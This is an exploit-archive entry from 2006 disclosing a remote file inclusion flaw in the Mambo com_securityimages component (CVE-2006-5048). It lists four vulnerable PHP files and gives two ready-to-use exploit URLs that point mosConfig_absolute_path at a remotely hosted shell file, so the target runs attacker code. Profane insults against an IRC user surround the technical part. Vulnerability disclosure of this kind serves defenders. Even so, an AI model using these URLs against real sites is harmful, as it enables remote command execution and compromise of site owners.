Mambo Component Security Images 3.0.5 - Remote File Inclusion

Author: Drago84
type: webapps
platform: php
port: 
date_added: 2006-07-27 
date_updated:  
verified: 1 
codes: OSVDB-27658;CVE-2006-5048;OSVDB-27657;OSVDB-27656;OSVDB-27655 
tags: 
aliases:  
screenshot_url:  
application_url: 

# http://forge.joomla.org/sf/projects/com_securityimages

##### Marckusbest is the Best lamah of irc, fuck you
##########
com_securityimages Mambo  Remote File Include
------------------------------------------------------------------------------------
Bug Found by: Drago84
greetz: Exclusive Security
This bug allows a remote atacker to execute commands via
rfi

page:
client.php
configinsert.php
lang.php
server.php

expl:
http://web/components/com_securityimages/configinsert.php?mosConfig_absolute_path=http://shell.txt
http://web/components/com_securityimages/lang.php?mosConfig_absolute_path=http://shell.txt

########## MarckusBest Fottiti
#############################

# milw0rm.com [2006-07-28]